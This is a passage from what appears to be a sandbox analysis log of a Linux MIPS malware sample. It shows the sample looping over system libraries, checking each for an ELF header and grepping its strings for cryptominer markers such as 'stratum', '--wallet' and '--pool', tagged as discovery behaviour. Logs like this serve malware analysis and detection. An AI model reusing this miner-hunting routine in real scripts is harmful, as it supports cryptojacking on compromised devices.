  stat "-c%s" /usr/lib/mipsel-linux-gnu/libcrypto.so.1.1
  2⤵
  PID:1196
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libcrypto.so.1.1
  2⤵
  PID:1198
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1200
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libcrypto.so.1.1
  2⤵
  PID:1199
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1203
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1202
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libcrypto.so.1.1
  2⤵
  PID:1201
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libX11.so.6.3.0
  2⤵
  PID:1205
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libX11.so.6.3.0
  2⤵
  PID:1207
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1209
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libX11.so.6.3.0
  2⤵
  PID:1208
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1211
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1212
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libX11.so.6.3.0
  2⤵
  PID:1210
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libgs.so.9.26
  2⤵
  - System Network Configuration Discovery
  PID:1214
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libgs.so.9.26
  2⤵
  PID:1216
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1218
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libgs.so.9.26
  2⤵
  PID:1217
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1221
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1220
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libgs.so.9.26
  2⤵
  PID:1219
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libsamplerate.so.0.1.8
  2⤵
  - System Network Configuration Discovery
  PID:1223
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libsamplerate.so.0.1.8
  2⤵
  PID:1225
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1227
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libsamplerate.so.0.1.8
  2⤵
  PID:1226
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1230
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1229
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libsamplerate.so.0.1.8
  2⤵
  PID:1228
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libpython2.7.so.1.0
  2⤵
  PID:1232
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libpython2.7.so.1.0
  2⤵
  PID:1234
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1236
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libpython2.7.so.1.0
  2⤵
  PID:1235
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1239
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1238
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libpython2.7.so.1.0
  2⤵
  PID:1237
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libbfd-2.28-system.so
  2⤵
  - Reads runtime system information
  PID:1241
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libbfd-2.28-system.so
  2⤵
  PID:1243
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1245
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libbfd-2.28-system.so
  2⤵
  PID:1244
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1248
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1247
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libbfd-2.28-system.so
  2⤵
  - System Network Configuration Discovery
  PID:1246
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libisl.so.15.3.0
  2⤵
  - Reads runtime system information
  PID:1250
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libisl.so.15.3.0
  2⤵
  PID:1252
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1254
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libisl.so.15.3.0
  2⤵
  PID:1253
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1257
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1256
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libisl.so.15.3.0
  2⤵
  PID:1255
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libkyotocabinet.so.16.13.0
  2⤵
  PID:1259
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libkyotocabinet.so.16.13.0
  2⤵
  PID:1261
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1263
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libkyotocabinet.so.16.13.0
  2⤵
  PID:1262
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1266
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1265
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libkyotocabinet.so.16.13.0
  2⤵
  PID:1264
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libunistring.so.0.1.2
  2⤵
  PID:1268
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libunistring.so.0.1.2
  2⤵
  PID:1270
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1272
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libunistring.so.0.1.2
  2⤵
  PID:1271
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1275
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1274
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libunistring.so.0.1.2
  2⤵
  - System Network Configuration Discovery
  PID:1273
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libharfbuzz.so.0.10400.2
  2⤵
  PID:1277
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libharfbuzz.so.0.10400.2
  2⤵
  - System Network Configuration Discovery
  PID:1279
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libharfbuzz.so.0.10400.2
  2⤵
  - System Network Configuration Discovery
  PID:1280
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1281
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1284
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1283
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libharfbuzz.so.0.10400.2
  2⤵
  PID:1282
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libmariadbclient.so.18.0.0
  2⤵
  PID:1286
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libmariadbclient.so.18.0.0
  2⤵
  PID:1288
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1290
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libmariadbclient.so.18.0.0
  2⤵
  PID:1289
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1293
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1292
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libmariadbclient.so.18.0.0
  2⤵
  PID:1291
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libpixman-1.so.0.34.0
  2⤵
  PID:1295
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libpixman-1.so.0.34.0
  2⤵
  PID:1297
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1299
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libpixman-1.so.0.34.0
  2⤵
  PID:1298
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1301
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1302
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libpixman-1.so.0.34.0
  2⤵
  PID:1300
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libperl.so.5.24.1
  2⤵
  - System Network Configuration Discovery
  PID:1304
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libperl.so.5.24.1
  2⤵
  PID:1306
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1308
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libperl.so.5.24.1
  2⤵
  PID:1307
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1311
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1310
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libperl.so.5.24.1
  2⤵
  PID:1309
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libcurl.so.4.4.0
  2⤵
  - Reads runtime system information
  PID:1313
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libcurl.so.4.4.0
  2⤵
  PID:1315
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1317
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libcurl.so.4.4.0
  2⤵
  PID:1316
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1320
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1319
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libcurl.so.4.4.0
  2⤵
  PID:1318
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libsqlite3.so.0.8.6
  2⤵
  PID:1322
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libsqlite3.so.0.8.6
  2⤵
  - System Network Configuration Discovery
  PID:1324
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1326
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libsqlite3.so.0.8.6
  2⤵
  PID:1325
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1329
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1328
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libsqlite3.so.0.8.6
  2⤵
  PID:1327
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libfreetype.so.6.12.3
  2⤵
  PID:1331
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libfreetype.so.6.12.3
  2⤵
  PID:1333
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1335
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libfreetype.so.6.12.3
  2⤵
  PID:1334
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1338
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1337
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libfreetype.so.6.12.3
  2⤵
  PID:1336
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libfftw3f.so.3.5.5
  2⤵
  - System Network Configuration Discovery
  PID:1340
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libfftw3f.so.3.5.5
  2⤵
  - System Network Configuration Discovery
  PID:1342
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1344
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libfftw3f.so.3.5.5
  2⤵
  PID:1343
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1347
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1346
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libfftw3f.so.3.5.5
  2⤵
  PID:1345
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libxapian.so.30.3.0
  2⤵
  PID:1349
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libxapian.so.30.3.0
  2⤵
  PID:1351
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1353
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libxapian.so.30.3.0
  2⤵
  PID:1352
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1356
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1355
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libxapian.so.30.3.0
  2⤵
  PID:1354
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libicui18n.so.57.1
  2⤵
  - System Network Configuration Discovery
  PID:1358
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libicui18n.so.57.1
  2⤵
  - System Network Configuration Discovery
  PID:1360
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1362
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libicui18n.so.57.1
  2⤵
  PID:1361
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1364
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1365
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libicui18n.so.57.1
  2⤵
  PID:1363
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libdb-5.3.so
  2⤵
  PID:1367
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libdb-5.3.so
  2⤵
  - System Network Configuration Discovery
  PID:1369
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1371
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libdb-5.3.so
  2⤵
  PID:1370
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1373
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1374
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libdb-5.3.so
  2⤵
  - System Network Configuration Discovery
  PID:1372
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/perl-base/auto/re/re.so
  2⤵
  PID:1376
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/perl-base/auto/re/re.so
  2⤵
  PID:1378
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1380
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/perl-base/auto/re/re.so
  2⤵
  PID:1379
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1383
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1382
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/perl-base/auto/re/re.so
  2⤵
  PID:1381
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libgnutls.so.30.13.1
  2⤵
  PID:1385
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libgnutls.so.30.13.1
  2⤵
  PID:1387
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1389
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libgnutls.so.30.13.1
  2⤵
  PID:1388
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1392
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1391
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libgnutls.so.30.13.1
  2⤵
  PID:1390
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libssl.a
  2⤵
  - System Network Configuration Discovery
  PID:1394
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libssl.a
  2⤵
  PID:1396
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1398
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libssl.a
  2⤵
  - System Network Configuration Discovery
  PID:1397
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libfftw3.so.3.5.5
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:1400
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libfftw3.so.3.5.5
  2⤵
  - System Network Configuration Discovery
  PID:1402
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1404
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libfftw3.so.3.5.5
  2⤵
  PID:1403
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1406
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1407
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libfftw3.so.3.5.5
  2⤵
  - System Network Configuration Discovery
  PID:1405
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libapt-pkg.so.5.0.1
  2⤵
  PID:1409
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libapt-pkg.so.5.0.1
  2⤵
  PID:1411
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1413
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libapt-pkg.so.5.0.1
  2⤵
  PID:1412
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1416
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1415
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libapt-pkg.so.5.0.1
  2⤵
  PID:1414
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libgfortran.so.3.0.0
  2⤵
  PID:1418
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libgfortran.so.3.0.0
  2⤵
  PID:1420
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1422
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libgfortran.so.3.0.0
  2⤵
  PID:1421
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1425
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libgfortran.so.3.0.0
  2⤵
  PID:1423
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1424
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libstdc++.so.6.0.22
  2⤵
  PID:1427
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libstdc++.so.6.0.22
  2⤵
  PID:1429
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1431
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libstdc++.so.6.0.22
  2⤵
  PID:1430
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1434
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1433
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libstdc++.so.6.0.22
  2⤵
  PID:1432
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libMagickCore-6.Q16.so.3.0.0
  2⤵
  - Reads runtime system information
  PID:1436
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1438
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1440
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1439
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1443
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1442
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libMagickCore-6.Q16.so.3.0.0
  2⤵
  PID:1441
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libasound.so.2.0.0
  2⤵
  PID:1445
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libasound.so.2.0.0
  2⤵
  PID:1447
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1449
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libasound.so.2.0.0
  2⤵
  PID:1448
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1451
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1452
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libasound.so.2.0.0
  2⤵
  PID:1450
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libcrypto.so.1.0.2
  2⤵
  PID:1454
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libcrypto.so.1.0.2
  2⤵
  - System Network Configuration Discovery
  PID:1456
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1458
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libcrypto.so.1.0.2
  2⤵
  PID:1457
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1461
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1460
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libcrypto.so.1.0.2
  2⤵
  - System Network Configuration Discovery
  PID:1459
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libicudata.so.57.1
  2⤵
  PID:1463
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libicudata.so.57.1
  2⤵
  PID:1465
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1467
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libicudata.so.57.1
  2⤵
  - System Network Configuration Discovery
  PID:1466
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1470
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1469
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libicudata.so.57.1
  2⤵
  PID:1468
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  - System Network Configuration Discovery
  PID:1472
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  - System Network Configuration Discovery
  PID:1474
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1476
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/perl/5.24.1/CORE/charclass_invlists.h
  2⤵
  PID:1475
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1478
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1480
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1482
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  PID:1481
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1485
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1484
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/CN/CN.so
  2⤵
  - System Network Configuration Discovery
  PID:1483
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1487
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  PID:1489
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1491
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  - System Network Configuration Discovery
  PID:1490
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1494
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1493
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/KR/KR.so
  2⤵
  - System Network Configuration Discovery
  PID:1492
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1496
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  - System Network Configuration Discovery
  PID:1498
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1500
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  - System Network Configuration Discovery
  PID:1499
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1502
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1503
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/JP/JP.so
  2⤵
  PID:1501
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  - Reads runtime system information
  PID:1505
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1507
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1509
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1508
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1512
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1511
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Encode/TW/TW.so
  2⤵
  PID:1510
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  PID:1514
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  - System Network Configuration Discovery
  PID:1516
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1518
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  - System Network Configuration Discovery
  PID:1517
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1521
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1520
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/Unicode/Collate/Collate.so
  2⤵
  PID:1519
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/re/re.so
  2⤵
  - Reads runtime system information
  PID:1523
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/re/re.so
  2⤵
  - System Network Configuration Discovery
  PID:1525
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1527
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/re/re.so
  2⤵
  PID:1526
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1530
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1529
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/perl/5.24.1/auto/re/re.so
  2⤵
  - System Network Configuration Discovery
  PID:1528
- /usr/bin/stat
  stat "-c%s" /usr/lib/mipsel-linux-gnu/libcairo.so.2.11400.8
  2⤵
  PID:1532
- /usr/bin/basename
  basename /usr/lib/mipsel-linux-gnu/libcairo.so.2.11400.8
  2⤵
  PID:1534
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1536
- /usr/bin/head
  head -c 4 /usr/lib/mipsel-linux-gnu/libcairo.so.2.11400.8
  2⤵
  PID:1535
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1539
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1538
- /usr/bin/strings
  strings /usr/lib/mipsel-linux-gnu/libcairo.so.2.11400.8
